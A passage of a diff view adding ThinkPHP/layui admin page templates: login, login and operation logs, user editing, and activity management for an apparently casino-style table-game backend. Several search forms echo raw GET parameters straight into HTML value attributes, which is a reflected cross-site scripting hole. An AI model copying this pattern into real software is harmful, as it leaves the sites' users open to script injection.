if(query.pass.length > 0 && query.pass.length < 6){
layer.alert("密码长度为6到16个字符!");
return false;
}
if(query.pass != query.repass){
layer.alert("两次密码不一致!");
return false;
}
if(query.name.length <= 0){
layer.alert("请填写名称!");
return false;
}
// console.log(query);return false;
// 发送数据到后台添加会员
var result = ajax('/log/do_scan_admin_add',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/log/scan_admin";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,144 @@
{include file="public/header"}
<style type="text/css">
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">用户列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">用户修改</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">appid:</label>
<div class="controls">
<input id="L_username" name="L_username" type="text" value="{$admin.appid}" readonly maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 将会成为您唯一的登入名</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">密码:</label>
<div class="controls">
<input id="L_pass" name="L_pass" type="password" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * 6到16个字符</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">确认密码:</label>
<div class="controls">
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> * 与密码保持一致</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">名称:</label>
<div class="controls">
<input id="L_name" name="L_name" type="text" value="{$admin.name}" maxlength="50" minlength="3" class="required"><span class="help-inline">
<font color="red"> *</font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">备注:</label>
<div class="controls">
<textarea id="L_remake" name="L_remake" type="text" maxlength="50" minlength="3" class="required">{$admin.remake}</textarea>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<!-- 隐藏参数 -->
<input type="hidden" id="scan_admin_id" value="{$admin.id}">
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/log/scan_admin';
if(id == "2") location.href = '/log/scan_admin_edit';
});
//监听提交
$('.submit').click(function () {
// 获取和拼装添加代理的数据
var query = new Object();
query.scan_admin_id = $('#scan_admin_id').val();
query.appid = $('#L_username').val();
query.pass = $('#L_pass').val();
query.repass = $('#L_repass').val();
query.name = $('#L_name').val();
query.remake = $('#L_remake').val();
// 验证数据
if(query.pass.length > 0){
if(query.pass.length >= 6){
if(query.pass != query.repass){
layer.msg("两次密码不一致!");
return false;
}
}else{
layer.msg("密码不能少于6位字符!");
return false;
}
}
// 发送数据到后台添加会员
var result = ajax('/log/do_scan_admin_edit',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = '/log/scan_admin';
});
}else{
layer.msg(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
+162
View File
@@ -0,0 +1,162 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">用户登录日志列表</a>
<!--<a href="javascript:;" class="list-two" data-id="2">添加代理</a>-->
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/log/user_login" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<input type="text" name="username" id="username" placeholder="请输入账号" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<div class="layui-input-block" >
<select name="remark" id="remark">
<option value="" selected>请选择操作类型</option>
<option value="登录" <?php if(isset($get['remark']) && $get['remark'] == '登录') {echo 'selected';} ?>>登录</option>
<option value="退出登录" <?php if(isset($get['remark']) && $get['remark'] == '退出登录') {echo 'selected';} ?>>退出登录</option>
<option value="强制退出登录" <?php if(isset($get['remark']) && $get['remark'] == '强制退出登录') {echo 'selected';} ?>>强制退出登录</option>
</select>
</div>
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出excel</span>
<!-- <span class="layui-btn" id="print">打印</span> -->
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>账号</th>
<th>姓名</th>
<th>IP</th>
<th>IP所属国家/地区</th>
<th>登录客户端</th>
<th>操作类型</th>
<th>操作时间</th>
</tr>
</thead>
<tbody>
{foreach name="log_list" item="vo"}
<tr>
<td>{$vo.username}</td>
<td>{$vo.nickname}</td>
<td>{$vo.ip}</td>
<td>{$vo.ip_location}</td>
<td>{$vo.client}</td>
<td>{$vo.remark}</td>
<td>{$vo.create_time}</td>
</tr>
{/foreach}
</tbody>
</table>
{$log_list->render()}
</div>
</body>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/log/user_login';
// if(id == "2") location.href = '/agent/agent_add';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
$('#print').click(function(){
var qs = getQueryString();
var startDate = qs["startDate"];
var endDate = qs["endDate"];
var username = qs["username"];
var remark = qs["remark"];
if(startDate == undefined){
startDate = '';
}
if(endDate == undefined){
endDate = '';
}
if(username == undefined){
username = '';
}
if(remark == undefined){
remark = '';
}
layer.open({
type: 2,
title:'用户登录日志列表打印',
content: '/log/user_login_print?startDate='+startDate+'&endDate='+endDate+'&username='+username+'&remark='+remark,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var username = $('#username').val();
var remark = $('#remark').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/log/user_login?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&username="+username+"&remark="+remark;
layer.close(index);
});
})
</script>
</html>
@@ -0,0 +1,34 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">用户登录列表</div>
<thead>
<tr>
<th style="text-align: center;">账号</th>
<th style="text-align: center;">姓名</th>
<th style="text-align: center;">IP</th>
<th style="text-align: center;">IP所属国家/地区</th>
<th style="text-align: center;">登录客户端</th>
<th style="text-align: center;">操作类型</th>
<th style="text-align: center;">操作时间</th>
</tr>
</thead>
<tbody>
{foreach name="log_list" item="vo"}
<tr>
<td>{$vo.username}</td>
<td>{$vo.nickname}</td>
<td>{$vo.ip}</td>
<td>{$vo.ip_location}</td>
<td>{$vo.client}</td>
<td>{$vo.remark}</td>
<td>{$vo.create_time}</td>
</tr>
{/foreach}
</tbody>
</div>
</body>
</html>
@@ -0,0 +1,30 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">操作日志列表</div>
<thead>
<tr>
<th style="text-align: center;">编号</th>
<th style="text-align: center;">操作人</th>
<th style="text-align: center;">操作类型</th>
<th style="text-align: center;">操作描述</th>
<th style="text-align: center;">操作时间</th>
</tr>
</thead>
<tbody>
{foreach name="log_list" item="vo"}
<tr>
<td>{$vo.id}</td>
<td>{$vo.username}</td>
<td>{$vo.control}</td>
<td>{$vo.remake}</td>
<td>{$vo.control_time}</td>
</tr>
{/foreach}
</tbody>
</div>
</body>
</html>
+80
View File
@@ -0,0 +1,80 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>后台管理登录</title>
<meta name="renderer" content="webkit|ie-comp|ie-stand">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width,user-scalable=yes, minimum-scale=0.4, initial-scale=0.8,target-densitydpi=low-dpi" />
<meta http-equiv="Cache-Control" content="no-siteapp" />
<link rel="stylesheet" href="/static/admin/css/font.css">
<link rel="stylesheet" href="/static/admin/css/xadmin.css">
<script type="text/javascript" src="/static/admin/js/jquery-3.3.1.min.js"></script>
<script src="/static/admin/lib/layui/layui.js" charset="utf-8"></script>
<script type="text/javascript" src="/static/admin/js/xadmin.js"></script>
</head>
<body class="login-bg">
<div class="login">
<div class="message">后台管理登录</div>
<div id="darkbannerwrap"></div>
<form class="layui-form">
<input name="admin" placeholder="用户名" type="text" lay-verify="required" class="layui-input username" >
<hr class="hr15">
<input name="password" lay-verify="required" placeholder="密码" type="password" class="layui-input password">
<hr class="hr15">
<input name="code" class="code" type="text" lay-verify="required" placeholder="验证码" style="width:200px;"> &nbsp;
<img id="validateCode" src="/login/validateCode" onclick="this.src=this.src+'?'">
<hr class="hr15">
<input value="登录" class="submit" type="button" lay-submit lay-filter="login" style="width:100%;" >
<hr class="hr20" >
</form>
</div>
</body>
<script>
// 登录
$('.submit').click(function(){
var query = new Object();
query.username = $('.username').val();
query.password = $('.password').val();
query.code = $('.code').val();
// 验证
if(query.username.length <= 0){
layer.msg('用户名不能为空!');
return false;
}
if(query.password.length <= 0){
layer.msg('密码不能为空!');
return false;
}
if(query.code.length <= 0){
layer.msg('验证码不能为空!');
return false;
}
// 发送后台处理登录
$.ajax({
url:'/login/do_login',
data:query,
type:'POST',
dataType:'JSON',
success:function(data){
if(data.code == 1){
layer.msg(data.msg,{time:1500},function(){
location.href = '/';
});
}else if(data.code == 0){
layer.msg(data.msg);
$('#validateCode').trigger('click');
}
}
})
})
// 回车键登录
$(document).keydown(function(e){
if(e.keyCode == 13) $('.submit').trigger('click');
});
</script>
</html>
+256
View File
@@ -0,0 +1,256 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">活动列表</a>
<a href="javascript:;" class="list-two" data-id="2">活动添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/memo/activity" method="get">
<input type="text" name="title" id="title" placeholder="标题" autocomplete="off" class="layui-input" value="<?php if(isset($get['title'])) {echo $get['title'];} ?>">
<div class="layui-input-block" >
<select name="status" id="status">
<option value="-1" selected>请选择状态</option>
<option value="1" <?php if(isset($get['status']) && $get['status'] == 1) {echo 'selected';} ?>>正常</option>
<option value="2" <?php if(isset($get['status']) && $get['status'] == 2) {echo 'selected';} ?>>锁定</option>
</select>
</div>
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出excel</span>
<!-- <span class="layui-btn" id="print">打印</span> -->
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>桌子名称</th>
<th>标题</th>
<th>url链接</th>
<th>内容</th>
<th>备注</th>
<th>显示位置</th>
<th>创建时间</th>
<th>状态</th>
<th>操作</th>
</tr>
</thead>
<tbody>
{foreach name="memo_list" item="vo"}
<tr>
<td>{$vo.table_name}</td>
<td>{$vo.title}</td>
<td>{$vo.url}</td>
<td>{$vo.content}</td>
<td>{$vo.remark}</td>
<td>{$vo.position}</td>
<td>{$vo.create_time}</td>
{if condition="$vo.status == 1"}
<td class="td-status">
<span class="layui-btn layui-btn-normal layui-btn-mini">正常</span>
</td>
{else}
<td class="td-status">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">锁定中</span>
</td>
{/if}
<td class="td-manage">
{if condition="$vo.status == 1"}
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="锁定">
<span class="layui-btn layui-btn-normal layui-btn-mini">锁定</span>
</a>
{else}
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="解锁">
<span class="layui-btn layui-btn-normal layui-btn-mini">解锁</span>
</a>
{/if}
<a href="/memo/activity_edit?id={$vo.id}">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span>
</a>
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;">
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">删除</span>
</a>
</td>
</tr>
{/foreach}
</tbody>
</table>
{$memo_list->render()}
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/memo/activity';
if(id == "2") location.href = '/memo/activity_add';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
/*锁定/解锁*/
function member_stop(obj, id) {
layer.confirm('确认要' + $(obj).attr('title') + '吗?', function (index) {
if ($(obj).attr('title') == '锁定') {
// 拼装数据发送后台 锁定 会员
var query = new Object;
query.id = id;
query.type = 2;
query.status = 0;
var result = ajax('/memo/change_status', query);
} else {
// 拼装数据发送后台 解锁 会员
var query = new Object;
query.id = id;
query.type = 2;
query.status = 1;
var result = ajax('/memo/change_status', query);
}
// 判断结果 弹出提示
if (result.code == 1) {
layer.msg(result.msg, {icon: 1, time: 1500});
setInterval(function () {
location.reload();
}, 1500);
} else {
layer.msg(result.msg, {icon: 2, time: 1500});
}
});
}
/*用户-删除*/
function member_del(obj, id) {
layer.confirm('确认要删除吗?',function () {
// 数据验证
if(id <= 0){
layer.msg('删除出错!');
return false;
}
// 拼装数据
var query = new Object;
query.id = id;
query.type = 2;
// 发送数据到后台删除会员
var result = ajax('/memo/delete',query);
if(result.code == 1){
layer.msg(result.msg, {icon: 1, time: 1000},function(){
location.reload();
});
}else if(result.code == 0){
layer.msg(result.msg, {icon: 2, time: 1000});
}
});
}
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
$('#print').click(function(){
var qs = getQueryString();
var title = qs["title"];
var status = qs["status"];
if(title == undefined){
title = '';
}
if(status == undefined){
status = '';
}
layer.open({
type: 2,
title:'活动列表打印',
content: '/memo/activity_print?title='+title+'&status='+status,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
// 导出excel
$('#export').click(function(){
var title = $('#title').val();
var status = $('#status').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/memo/activity?export=1&&title="+title+"&&status="+status;
layer.close(index);
});
})
</script>
</body>
</html>
@@ -0,0 +1,180 @@
{include file="public/header"}
<style type="text/css">
textarea, input[type="text"], input[type="password"],
.uneditable-input{border: 1px solid #ccc;background-color: #fff;}
textarea{padding:6px}
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">活动列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">活动添加</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">请选择桌子:</label>
<div class="controls">
<select id="L_tablename" name="L_tablename" type="text" value maxlength="50" minlength="3" class="required">
<option value="-1" selected>请选择桌子</option>
<option value="all" >所有桌子</option>
<option value="all_baccarat" >百家乐桌台</option>
<option value="all_dt" >龙虎桌台</option>
{foreach name="$table_list" item="vo"}
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
{/foreach}
</select>
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">活动标题:</label>
<div class="controls">
<input id="L_title" name="L_title" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">链接地址:</label>
<div class="controls">
<input id="L_url" name="L_url" type="text" value maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">活动内容:</label>
<div class="controls">
<textarea id="L_content" name="L_content" type="text" value maxlength="50" minlength="3" class="required"></textarea>
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">备注信息:</label>
<div class="controls">
<textarea id="L_remark" name="L_remark" type="text" value maxlength="50" minlength="3" class="required"></textarea>
</div>
</div>
<div class="control-group">
<label class="control-label">请选择活动位置:</label>
<div class="controls">
<select id="L_position" name="L_position" type="text" value maxlength="50" minlength="3" class="required">
<option value="-1" selected>请选择活动位置</option>
<option value="1">投注页面</option>
<option value="2">现场页面</option>
<option value="3">所有页面</option>
</select>
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/memo/activity';
if(id == "2") location.href = '/memo/activity_add';
});
//监听提交
$('.submit').click(function (data) {
// 获取和拼装添加代理的数据
var query = new Object();
query.table_id = $('#L_tablename').val();
query.title = $('#L_title').val();
query.url = $('#L_url').val();
query.content = $('#L_content').val();
query.remark = $('#L_remark').val();
query.position = $('#L_position').val();
query.type = 2;
// 验证数据
if(query.table_id == -1){
layer.alert("请选择桌子!");
return false;
}
if(query.title.length == 0){
layer.alert("请填写活动标题!");
return false;
}
if(query.url.length == 0){
layer.alert("请填写活动链接!");
return false;
}
if(query.content.length <= 0){
layer.alert("请填写活动内容!");
return false;
}
if(query.position == -1){
layer.alert("请选择活动位置!");
return false;
}
// 发送数据到后台添加会员
var result = ajax('/memo/do_memo_add',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/memo/activity";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,134 @@
{include file="public/header"}
<style type="text/css">
textarea, input[type="text"], input[type="password"],
.uneditable-input{border: 1px solid #ccc;background-color: #fff;}
textarea{padding:6px}
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.x-nav{overflow: inherit; }
.x-nav .refresh{margin-right: 20px; }
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">活动列表</a>
<a href="javascript:;" class="list-two actived" data-id="2">活动修改</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="info_from form-horizontal">
<div class="control-group">
<label class="control-label">活动标题:</label>
<div class="controls">
<input id="L_title" name="L_title" type="text" value="{$memo.title}" maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">链接地址:</label>
<div class="controls">
<input id="L_url" name="L_url" type="text" value="{$memo.url}" maxlength="50" minlength="3" class="required">
<span class="help-inline">
<font color="red"> * </font>
</span>
</div>
</div>
<div class="control-group">
<label class="control-label">活动内容:</label>
<div class="controls">
<textarea id="L_content" name="L_content" type="text" value maxlength="50" minlength="3" class="required">{$memo.content}</textarea>
</div>
</div>
<div class="control-group">
<label class="control-label">备注信息:</label>
<div class="controls">
<textarea id="L_remark" name="L_remark" type="text" value maxlength="50" minlength="3" class="required">{$memo.remark}</textarea>
</div>
</div>
<div class="bottom-buttom">
<label class="control-label"></label>
<div class="controls">
<div class='submit'>保存</div>
</div>
</div>
</div>
<!-- 隐藏参数 -->
<input type="hidden" id="memo_id" value="{$memo.id}">
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/memo/activity';
if(id == "2") location.href = '/memo/activity_edit';
});
//监听提交
$('.submit').click(function (data) {
// 获取和拼装添加代理的数据
var query = new Object();
query.id = $('#memo_id').val();
query.title = $('#L_title').val();
query.url = $('#L_url').val();
query.content = $('#L_content').val();
query.remark = $('#L_remark').val();
query.type = 2;
// 验证数据
if(query.title.length == 0){
layer.alert("请填写活动标题!");
return false;
}
if(query.content.length <= 0){
layer.alert("请填写活动内容!");
return false;
}
// 发送数据到后台添加会员
var result = ajax('/memo/do_memo_edit',query);
if(result.code == 1){
layer.alert(result.msg, {icon: 6}, function () {
location.href = "/memo/activity";
});
}else{
layer.alert(result.msg,{icon:2});
}
return false;
});
// AJAX函数封装
function ajax(url,query){
var returnData = 0;
$.ajax({
url:url,
data:query,
type:'POST',
dataType:'JSON',
async:false,
success:function(data){
returnData = data;
}
});
return returnData;
}
</script>
</body>
</html>
@@ -0,0 +1,42 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">活动列表</div>
<thead>
<tr>
<th style="text-align: center;">桌子名称</th>
<th style="text-align: center;">标题</th>
<th style="text-align: center;">url链接</th>
<th style="text-align: center;">内容</th>
<th style="text-align: center;">备注</th>
<th style="text-align: center;">显示位置</th>
